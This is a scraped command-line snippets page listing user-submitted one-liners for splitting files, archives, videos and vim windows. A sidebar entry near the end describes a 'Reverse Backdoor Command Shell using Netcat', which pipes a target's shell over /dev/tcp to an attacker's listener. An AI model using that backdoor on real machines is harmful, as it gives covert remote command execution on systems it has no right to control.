Commands tagged split (15)

  • Create a tar file in multiple parts if it's to large for a single disk, your filesystem, etc. Rejoin later with `cat .tar.*|tar xf -` Show Sample Output


    17
    tar cf - <dir>|split -b<max_size>M - <name>.tar.
    dinomite · 2009-11-11 01:53:33 0
  • Avoiding a for loop brought this time down to less than 3 seconds on my old machine. And just to be clear, 33554432 = 8192 * 4086.


    10
    base64 /dev/urandom | head -c 33554432 | split -b 8192 -da 4 - dummy.
    pdxdoughnut · 2013-11-12 17:56:23 1
  • -o acts like :spit. Use -O (capital o) for side-by-side like :vsplit. Use vim -d or vimdiff if you need a diff(1) comparison. To split gnu Screen instead of vim, use ^A S for horizontal, ^A | for vertical.


    7
    vim -o file1 file2...
    rkulla · 2010-04-13 22:09:47 0
  • It's common to want to split up large files and the usual method is to use split(1). If you have a 10GiB file, you'll need 10GiB of free space. Then the OS has to read 10GiB and write 10GiB (usually on the same filesystem). This takes AGES. . The command uses a set of loop block devices to create fake chunks, but without making any changes to the file. This means the file splitting is nearly instantaneous. The example creates a 1GiB file, then splits it into 16 x 64MiB chunks (/dev/loop0 .. loop15). . Note: This isn't a drop-in replacement for using split. The results are block devices. tar and zip won't do what you expect when given block devices. . These commands will work: hexdump /dev/loop4 . gzip -9 < /dev/loop6 > part6.gz . cat /dev/loop10 > /media/usb/part10.bin Show Sample Output


    5
    FILE=file_name; CHUNK=$((64*1024*1024)); SIZE=$(stat -c "%s" $FILE); for ((i=0; i < $SIZE; i+=$CHUNK)); do losetup --find --show --offset=$i --sizelimit=$CHUNK $FILE; done
    flatcap · 2014-10-03 13:18:19 2
  • bs = buffer size (basically defined the size of a "unit" used by count and skip) count = the number of buffers to copy (16m * 32 = 1/2 gig) skip = (32 * 2) we are grabbing piece 3...which means 2 have already been written so skip (2 * count) i will edit this later if i can to make this all more understandable


    2
    dd if=inputfile of=split3 bs=16m count=32 skip=64
    jearsh · 2010-02-21 10:09:46 0
  • i have a large video file, 500+ MB, so i cant upload it to flickr, so to reduce the size i split it into 2 files. the command shows the splitting for the first file, from 0-4 minutes. ss is start time and t is duration (how long you want the output file to be). credit goes to philc: http://ubuntuforums.org/showthread.php?t=480343 NOTE: when i made the second half of the video, i got a *lot* of lines like this: frame= 0 fps= 0 q=0.0 size= 0kB time=10000000000.00 bitrate= 0.0kbit just be patient, it is working =) Show Sample Output


    2
    ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV
    nickleus · 2010-08-08 23:43:28 0
  • Use vim's diff mode to edit two or more files in one window. The '+diffoff!' turns off diff highlighting when the session is started. Use ctrl+w + ctrl+w to switch between windows. Show Sample Output


    2
    vim -d '+diffoff!' file1 file2
    greggster · 2012-08-30 07:51:41 0
  • Is this not the same


    2
    vim -O file1 file2
    trantorvega · 2012-09-06 14:52:50 0
  • a - archive m5 - compression level, 0= lowest compression...1...2...3...4...5= max compression -v5M split the output file in 5 megabytes archives, change to 700 for a CD, or 4200 for a DVD R recursive for directories, do not use it for files It's better to have the output of a compression already split than use the 'split' command after compression, would consume the double amount of disk space. Found at http://www.ubuntu-unleashed.com/2008/05/howto-create-split-rar-files-in-ubuntu.html


    0
    rar a -m5 -v5M -R myarchive.rar /home/
    piovisqui · 2009-05-27 15:53:18 4
  • Will split the std input lines into files grouped by the 5th column content.


    0
    awk -F'\t' '{print $0 >>$5.tsv}'
    pykler · 2012-05-16 18:18:16 0
  • Output should be two JPG files named like "output-1.jpg" and "output-2.jpg". The convert command is part of ImageMagick so you'll need that and dependent packages installed to use it.


    0
    convert yourdoublewideimage.jpg -crop 50%x100% +repage output.jpg
    pagesix1536 · 2014-01-15 15:34:41 0
  • IMPORTANT: You need Windows PowerShell to run this command - in your Windows Command Prompt, type powershell Uses sajb to start a PowerShell background job that pings an IP host every 10 seconds. Any changes in the host's Up/Down state is time-stamped and logged to a file. Date/time stamps are logged in two formats: Unix and human-readable. A while(1) loop repeats the test every 10 seconds by using the sleep command. See the Sample Output for more detail. I use this command to log Up/Down events of my Motorola SB6141 cable modem (192.168.100.1). To end the logging, close the PowerShell window or use the "exit" command. Show Sample Output


    0
    sajb {$ip="192.168.100.1";$old=0;while(1){$up=test-connection -quiet -count 1 $ip;if($up-ne$old){$s=(date -u %s).split('.')[0]+' '+(date -f s).replace('T',' ')+' '+$ip+' '+$(if($up){'Up'}else{'Down'});echo $s|out-file -a $home\ping.txt;$old=$up}sleep 10}}
    omap7777 · 2015-12-28 20:33:08 0
  • This is just a little snippit to split a large file into smaller chunks (4mb in this example) and then send the chunks off to (e)mail for archival using mutt. I usually encrypt the file before splitting it using openssl: openssl des3 -salt -k <password> -in file.tgz -out file.tgz.des3 To restore, simply save attachments and rejoin them using: cat file.tgz.* > output_name.tgz and if encrypted, decrypt using: openssl des3 -d -salt -k <password> -in file.tgz.des3 -out file.tgz edit: (changed "g" to "e" for political correctness)


    -1
    split -b4m file.tgz file.tgz. ; for i in file.tgz.*; do SUBJ="Backup Archive"; MSG="Archive File Attached"; echo $MSG | mutt -a $i -s $SUBJ [email protected](E)mail.com
    tboulay · 2010-03-20 16:49:19 4
  • Open files in tabs


    -2
    vim -p file1 file2 [...]
    richard · 2010-04-15 11:40:19 0
  • Loops over array of a system var, splits its values and puts the values into %A, %B, %C, %D, and so on. Create array before, like set ARRAY[0]=test1,100 and set ARRAY[1]=test2,200 Be sure to replace %A, %B, etc. with %%A, %%B, etc. when using this from inside of batch files. Show Sample Output


    -2
    FOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B )
    Marco · 2010-08-10 12:12:27 2

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move you up one directory quickly
Alias a single character 'b' to move to parent directory. Put it into your .bashrc or .profile file. Using "cd .." is one of the most repetitive sequence of characters you'll in the command line. Bring it down to two keys 'b' and 'enter'. It stands for "back" Also useful to have multiple: alias b='cd ../' alias bb='cd ../../' alias bbb='cd ../../../' alias bbbb='cd ../../../../'

Schedule a command while one is already running.
Useful when you have only one terminal session e.g. ssh. and want to queue up another command after the currently running has finished(in case if you forget to run that command). Originally used as ; python-updater when running emerge. When I have noticed that a package failed due to that command not run.

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Find usb device
I often use it to find recently added ou removed device, or using find in /dev, or anything similar. Just run the command, plug the device, and wait to see him and only him

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

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